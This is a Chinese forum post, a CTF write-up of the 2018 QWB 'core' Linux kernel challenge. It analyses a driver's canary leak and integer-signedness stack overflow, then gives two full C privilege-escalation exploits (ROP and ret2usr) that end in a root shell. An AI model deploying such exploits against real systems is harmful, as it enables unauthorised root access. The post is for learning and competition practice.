首页
论坛
课程
招聘
Linux kernel pwn (一):ROP&&ret2usr
2020-10-15 08:54 3471

Linux kernel pwn (一):ROP&&ret2usr

2020-10-15 08:54
3471

前言

国庆中秋八天假,除了出招新题和做软件工程的一个开发小demo,啥技术都没学到(效率不够呀,555)。

这是博文是我根据2018年强网杯的core题的利用姿势学习记录的,由于内核pwn相对于用户态的pwn来说复杂很多,而网上记载入门的博客都比较简略(或者说是我太菜看不懂),所以这篇博文我会尽可能详细地记录,有错误的点希望师傅们斧正。

前置知识

部分内核pwn入门基础可见我的这一篇博文

内核pwn应该怎么pwn

与用户态的pwn不一样,内核pwn的漏洞一般是出现在驱动中,简单地说,驱动程序是一个内核程序,它驱动与之关联的特定设备。内核驱动模块运行时的权限是root权限,因此我们将有机会借此拿到root权限的shell。不同于用户态的pwn,kernel pwn不再是用python远程链接打payload拿shell,而是给你一个环境包,下载后qemu本地起系统,flag文件就在这个虚拟系统里面,权限是root,因此拿flag的过程也是选手在自己的环境里完成,exploit往往也是C编写。所以,我们一般是写c程序去调用有漏洞的内核驱动,以便去拿到root权限。

proc_create函数

首先介绍一下proc文件系统,proc文件系统是一个虚拟文件系统,里面有许多的虚拟文件,创建一个proc虚拟文件,应用层通过读写该文件,即可实现与内核的交互。
而创建方法也就是proc_create函数;

1
static inline struct proc_dir_entry *proc_create(const char *name, mode_t mode,struct proc_dir_entry *parent, const struct file_operations *proc_fops)。

name就是要创建的文件名,mode是文件的访问权限,以UGO的模式表示,parent与proc_mkdir中的parent类似,也是父文件夹的proc_dir_entry对象。proc_fops就是该文件的操作函数了。
这里最重要的应该是我们的第三个参数fop,也就是file_operations。这里会涉及到内核中文件系统的一些东西,笔者目前也还没有学习,这里大致说一下我自己的理解:这个结构体就是定义了我们利用上面的那个proc_create创建的结构体时可以调用的函数,用于用户态与内核态的交流,譬如本例题定义的proc_create("core", 438LL, 0LL, &core_fops),在我们的core_fops中定义了core_write函数,所以我们便可以利用open函数打开core这个文件:int fd = open("/proc/core", O_RDWR);然后利用write(fd, rop_chain, 0X800)调用core_write函数。

一般内核pwn的前置处理

以本题为例,给了bzImage:kernel映像;
core.cpio:文件系统映像;
start.sh:一个用于启动 kernel 的 shell 的脚本,多用qemu;
vmlinux:类比成用户态pwn中的libc文件。
解压core.cpio之后core目录里也有个vmlinux,调试时用core目录的vmlinux。
关于bzImage与vmlinux的区别,详细可以参见该文章。简单来说,bzImage是压缩过的镜像,而 vmlinux是未经压缩的镜像,也就是说我们可以从 vmlinux 中找到一些 gadget。如果题目没有给 vmlinux,可以通过extract-vmlinux, 提取命令:./extract-vmlinux ./bzImage > vmlinux。
关于start.sh,是QEMU的启动脚本。一般里面会设置内核的保护机制以及相关参数的设置,这里并没有开启SMEP(是ret2user利用的基础)。对于本题,需要将该文件中第二行的-m 64M改成-m 128M,不然内存不够用启动不了。

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

关于core.cpio的解压,可以参考一下:

1
2
3
4
5
mkdir file
cp ./core.cpio ./file/core.cpio.gz
cd file
gunzip ./core.cpio.gz
cpio -idmv < ./core.cpio

其实也可以在ubantu双击即可解压。
对于本例,解压后的文件夹中有个有一个init文件,用于启动内核后初始化,查看一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
 
poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys
 
poweroff -d 0  -f
  • 对于echo 1 > /proc/sys/kernel/kptr_restrict中的kptr_restrict:
    通过 kptr_restrict 来控制/proc/kallsyms 是否显示symbol的地址,也就是函数的地址。echo 1 > /proc/sys/kernel/kptr_restrict,则不能通过/proc/kallsyms查看内核符号的地址了,但是这里有cat /proc/kallsyms > /tmp/kallsyms,所以可以在/tmp/kallsyms看到,没什么影响。
  • 对于echo 1 > /proc/sys/kernel/dmesg_restrict,这个参数是不让非 root 用户读取 dmesg 的输出信息的,dmesg包括开机信息等一些消息(对于本题似乎没有什么影响)。

    动态调试

    一般内核题中,都会有qemu模拟运行,然后利用gdb远程调试。方法如下:
    一,在我们的start.sh中添加-gdb tcp::ip或者-s(-gdb tcp::1234的简写)

    二,gdb中输入target remote:ip即可
    图片描述
    三,加载符号表,像本题中的vmlinux,直接利用file ./vmlinux即可
    四,加载驱动,add-symbol-file core.ko textAddr,而textAddr是指core.ko装载进内核空间后的.text段地址(其实就是装载基址)。可以利用root用户'cat /sys/module/core/sections/.text'查看。
    图片描述
    (注:上图我是用root用户查看的)

    漏洞分析

    直接拉进ida查看漏洞
    首先看到这是一个虚拟文件注册函数,注册了core文件
    图片描述
    它的fop有:
    图片描述
    然后查看我们的core_read函数:
    图片描述
    发现这里存在漏洞,可以通过设置off的值来泄露canary等信息。
    再查看我们的core_ioctl函数,发现这里可以设置我们的off,从而leak出有用的信息
    图片描述
    这里的漏洞点不太容易注意到,这里的函数参数a1即输入是八字节的有符号整数,而在qmemcpy函数中则是双字节的无符号整数,所以当设置a1=0xffffffffffff0200即可绕过a1>63的检查并在qmemcpy中得到a1为0x0200的值。并且v2为栈中的值,超长复制即可溢出。
    图片描述
    然后再查看我们的core_write函数
    图片描述
    发现我们的write函数可以往我们的name里面写进东西,所以可以在这里写进我们的ROP链。

    一些信息的获取

    gadget的获取

    由于要构造ROP链,所以我们肯定要gadget。获取gadget可以通过ROPgadget和Ropper
    这里说一下ROPgadget和Ropper如何获取我们所需要的gadget:
    1
    2
    3
    ROPgadget --binary ./vmlinux > gadget          #把可用的gadget取进我们的gadget文件
    ropper --file ./vmlinux --nocolor > gadget     #把可用的gadget  取进我们的gadget文件
    然后再可以用grep筛选我们希望的gadget

    内核基地址的获取

    因为提权需要用到我们的commit_creds、prapare_kernel_cred内核函数。所以我们需要找到我们的内核基地址。
    首先找到这两个函数在vmlinux的偏移:
    1
    2
    3
    4
    from pwn import *
    elf = ELF('./core/vmlinux')
    print "commit_creds",hex(elf.symbols['commit_creds']-0xffffffff81000000)
    print "prepare_kernel_cred",hex(elf.symbols['prepare_kernel_cred']-0xffffffff81000000)
    图片描述
    然后在qemu里查看/proc/kallsyms中的 commit_creds 函数地址
    图片描述
    两者相减即可获得我们的内核加载基地址

    EXP以及分析

    本题有两个利用姿势,这里分别分析。

    方法一:ROP

  • 获取 commit_creds(),prepare_kernel_cred() 的地址: /tmp/kallsyms 中保存了这些地址,可以直接读取,同时根据偏移固定也能确定 gadgets 的地址。
  • 通过 ioctl 设置 off,然后通过 core_read() leak 出 canary
  • 通过 core_write() 向 name 写,构造 ropchain
  • 通过 core_copy_func() 从 name 向局部变量上写,通过设置合理的长度和 canary 进行 rop
  • 通过 rop 执行 commit_creds(prepare_kernel_cred(0))
  • 返回用户态,通过 system("/bin/sh") 等起 shell
    具体EXP引用于孙小空师兄
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
//sunxiaokong
//gcc -static -masm=intel -g -o my_exp my_exp.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
 
int get_kernel_addr();
void get_usr_regs();
void shell();
 
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0};  // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
 
int main(){
    get_usr_regs();
    get_kernel_addr();
 
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[T.T] open file error !!!");
        exit(0);
    }
    ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
    char *buf_leak = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, INS_READ, buf_leak);   // leak canary in kernel-stack
    canary = *(size_t *)buf_leak;
    printf("[^.^] canary : 0x%lx\n", canary);
 
    int i;
    for(i=0; i<10; i++){
        rop_chain[i] = canary;
    }
    rop_chain[i++] = 0xffffffff81000b2f + off;   // pop rdi ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
    rop_chain[i++] = 0xffffffff810a0f49 + off;   // pop rdx ; ret
    rop_chain[i++] = commit_creds;
    rop_chain[i++] = 0xffffffff8106a6d2 + off;   // mov rdi, rax ; jmp rdx
    rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
    rop_chain[i++] = (size_t)shell;              // rip
    rop_chain[i++] = usr_cs;                     // cs
    rop_chain[i++] = usr_rflags;                 // rflags
    rop_chain[i++] = usr_rsp;                    // rsp
    rop_chain[i++] = usr_ss;                     // ss
 
    write(fd, rop_chain, 0X800);    // write payload to "name"
    ioctl(fd, INS_COPY_FUNC,  0xffffffffffff0000 | (0x100)); // stack overflow
}
 
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
 
    while(fgets(buf, 0x50, kallsyms)){
        // fgets:read one line at one time
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }
 
        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
            off = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + off;
            printf("[^.^] offset : 0x%lx\n", off);
            printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
        }
 
        if(commit_creds && prepare_kernel_cred){
            return 0;
        }
    }
}
 
/* save some regs of user mode */
void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[^.^] save regs of user mode, done !!!\n");
}
 
/* run a root shell */
void shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[T.T] privilege escalation failed !!!");
    }
    exit(0);
}
 
/*
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdi
0xffffffff81000b2f : pop rdi ; ret
 
ROPgadget --binary ./vmlinux --only "mov|jmp" | grep "mov rdi, rax"
0xffffffff8106a6d2 : mov rdi, rax ; jmp rdx
 
ROPgadget --binary "./vmlinux" --only "pop|ret" | grep rdx
0xffffffff810a0f49 : pop rdx ; ret
 
ROPgadget --binary ./vmlinux | grep swapgs
0xffffffff81a012da : swapgs ; popfq ; ret
 
ropper -f ./vmlinux > ./gadget.txt
cat ./gadget.txt | grep iretq
0xffffffff81050ac2: iretq; ret;
*/

EXP具体解析

canary的获取

这里简单说一下如何设置off的值,从而leak出canary。一开始我的想法是根据ida中显示的偏移决定我们的off值
图片描述
可以看到,在ida中,v5是设置在我们的rbp-0x50,所以rbp-0x48的位置应该就是我们的canary。但是,像大家所说的,ida中的显示有时候是会有bug的,经过实际调试,我发现实际偏移并不是0x48
图片描述
图片描述
从这里看出我们的canary的实际偏移是0x40,当我们写个POC先把我们的off值设置为0x40,然后调用core_read函数(要现在gdb调试,设置断点在我们的core_read函数),然后单步步入到我们copy_to_user函数,即验证我们成功leak出canary了
图片描述
图片描述
上面EXP中leak canary的时候,设置off为0x40。

基地址的leak

这里的基地址包括内核的基地址以及我们的core这个驱动的基地址
关于内核基地址的寻找上面已经说明,而对于驱动的加载地址,可以直接在我们/tmp/kallsyms查询即可。

用户态寄存器保存

通过 swapgs 恢复 GS 值
通过iretq 恢复各寄存器值到用户态,参考 https://baike.baidu.com/item/iret/1314268?fr=aladdin
会按照 rip、cs、标志寄存器、rsp、ss的顺序将各寄存器值从栈中弹出来。
其中,rip的值,可以直接用我们EXP中写好的跑shell的地址,这样回到用户态后就直接跑shell了
而cs、标志寄存器、rsp、ss都需要合法的值,因此可以在EXP中先将当前用户态的值保存下来,在ROP链中直接用这些值就可以了:

1
2
3
4
5
6
7
__asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"            //标志寄存器值入栈
        "pop usr_rflags;"
    );

ROP链的构造

先要构造commit_creds(prepare_kernel_cred(0))提权,然后将用户态的寄存器给赋合法值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
for(i=0; i<10; i++){
      rop_chain[i] = canary;
  }
  rop_chain[i++] = 0xffffffff81000b2f + off;   // pop rdi ; ret
  rop_chain[i++] = 0;
  rop_chain[i++] = prepare_kernel_cred;           // prepare_kernel_cred(0)
  rop_chain[i++] = 0xffffffff810a0f49 + off;   // pop rdx ; ret
  rop_chain[i++] = commit_creds;
  rop_chain[i++] = 0xffffffff8106a6d2 + off;   // mov rdi, rax ; jmp rdx
  rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
  rop_chain[i++] = 0;
  rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
  rop_chain[i++] = (size_t)shell;              // rip
  rop_chain[i++] = usr_cs;                     // cs
  rop_chain[i++] = usr_rflags;                 // rflags
  rop_chain[i++] = usr_rsp;                    // rsp
  rop_chain[i++] = usr_ss;                     // ss

方法二:ret2user

这里先说一下ret2user的原理:
ret2usr 攻击利用了在没有开启SMEP(管理模式执行保护)的情况下,内核态CPU是可以访问执行用户空间的代码的。
用户空间的进程不能访问内核空间,但内核空间能访问用户空间 这个特性来定向内核代码或数据流指向用户控件,以 ring 0 特权执行用户空间代码完成提权等操作。
这个方法其实跟上面所说的ROP基本没有区别,最根本的区别就是把上面所需要rop构造出来的提权过程commit_creds(prepare_kernel_cred(0))直接写了一个函数,从而不需要rop调用,直接调用函数即可。
最终EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
//sunxiaokong
//gcc -static -masm=intel -g -o my_exp2 my_exp2.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
 
#define INS_SET_OFF 0x6677889C
#define INS_READ 0x6677889B
#define INS_COPY_FUNC 0x6677889A
 
int get_kernel_addr();
void get_usr_regs();
void privilege_escalation();
void shell();
 
size_t canary = 0; // value of canary
size_t commit_creds=0, prepare_kernel_cred=0; // kernel function addr
size_t off; // offset of kaslr
size_t vmlinux_base; // base addr of vmlinux
size_t rop_chain[100] = {0};  // rop chain
size_t usr_cs, usr_ss, usr_rsp, usr_rflags;  // registers of user mode
 
int main(){
    get_usr_regs();
    get_kernel_addr();
 
    int fd = open("/proc/core", O_RDWR);
    if(fd < 0){
        puts("[T.T] open file error !!!");
        exit(0);
    }
    ioctl(fd, INS_SET_OFF, 0x40);   // set off to 0x40
    char *buf_leak = (char *)malloc(0x40);   // buffer of leak data
    ioctl(fd, INS_READ, buf_leak);   // leak canary in kernel-stack
    canary = *(size_t *)buf_leak;
    printf("[^.^] canary : 0x%lx\n", canary);
 
    int i;
    for(i=0; i<10; i++){
        rop_chain[i] = canary;
    }
    rop_chain[i++] = (size_t)privilege_escalation;
    rop_chain[i++] = 0xffffffff81a012da + off;   // swapgs ; popfq ; ret
    rop_chain[i++] = 0;
    rop_chain[i++] = 0xffffffff81050ac2 + off;   // iretq; ret;
    rop_chain[i++] = (size_t)shell;              // rip
    rop_chain[i++] = usr_cs;                     // cs
    rop_chain[i++] = usr_rflags;                 // rflags
    rop_chain[i++] = usr_rsp;                    // rsp
    rop_chain[i++] = usr_ss;                     // ss
 
    write(fd, rop_chain, 0X800);    // write payload to "name"
    ioctl(fd, INS_COPY_FUNC,  0xffffffffffff0000 | (0x100)); // stack overflow
}
 
/* save some regs of user mode */
void get_usr_regs(){
    __asm__(
        "mov usr_cs, cs;"
        "mov usr_ss, ss;"
        "mov usr_rsp, rsp;"
        "pushfq;"
        "pop usr_rflags;"
    );
    printf("[^.^] save regs of user mode, done !!!\n");
}
 
/* read symbols addr in /tmp/kallsyms and calc the vmlinux base */
int get_kernel_addr(){
    char *buf = (char *)malloc(0x50);
    FILE *kallsyms = fopen("/tmp/kallsyms", "r");
 
    while(fgets(buf, 0x50, kallsyms)){
        // fgets:read one line at one time
        if(strstr(buf, "prepare_kernel_cred")){
            sscanf(buf, "%lx", &prepare_kernel_cred);
            printf("[^.^] prepare_kernel_cred : 0x%lx\n", prepare_kernel_cred);
        }
 
        if(strstr(buf, "commit_creds")){
            sscanf(buf, "%lx", &commit_creds);
            printf("[^.^] commit_creds : 0x%lx\n", commit_creds);
            off = commit_creds - 0xffffffff8109c8e0;
            vmlinux_base =  0xffffffff81000000 + off;
            printf("[^.^] offset : 0x%lx\n", off);
            printf("[^.^] vmlinux base : 0x%lx\n", vmlinux_base);
        }
 
        if(commit_creds && prepare_kernel_cred){
            return 0;
        }
    }
}
 
/* commit_creds(prepare_kernel_cred(0)) */
void privilege_escalation(){
    if(commit_creds && prepare_kernel_cred){
        (*((void (*)(char *))commit_creds))(
            (*((char* (*)(int))prepare_kernel_cred))(0)
        );
    }
}
 
/* run a root shell */
void shell(){
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[T.T] privilege escalation failed !!!");
    }
    exit(0);
}

总结

这是我入门Linux kernel pwn的一道题,所以这里尽可能详细的记录下来。虽然这道题很简单,但是自己也花了好几天去磕,但是感觉真的是受益匪浅吧!之前就说过,目前的学习方向是iot,但是实际上,现在还没有学多少内容。所以,现在的计划是,尽量在这两周学完内核pwn的几个姿势,应该还有UAF,Double fetch等。然后接下来就是把重心放回到iot研究上,顺带还会学堆的骚操作(看最近几个比赛的WP,发现堆真的好多骚操作,好想去学),然后还会学习操作系统,以及数据库和密码学等课堂知识
害,总之就是想学的东西很多,但是自己的效率不高。所以说,目前的重点是要提高自己的效率!

参考

http://p4nda.top/2018/07/13/ciscn2018-core/
https://veritas501.space/2018/06/05/qwb2018%20core/
https://bbs.pediy.com/thread-247054.htm
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/kernel/kernel_rop-zh/#get-root-shell
https://www.sunxiaokong.xyz/2020-02-09/lzx-qwb2018-core/#%E9%A9%B1%E5%8A%A8%E5%88%86%E6%9E%90
https://www.jianshu.com/p/8d950a9d8974
https://www.anquanke.com/post/id/172216#h3-14
https://www.anquanke.com/post/id/201043#h3-6


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

最后于 2020-10-15 09:42 被T1e9u编辑 ,原因:
收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 7451
活跃值: 活跃值 (6348)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
pureGavin 活跃值 2 2020-10-15 09:54
2
0
mark,感谢分享
游客
登录 | 注册 方可回帖
返回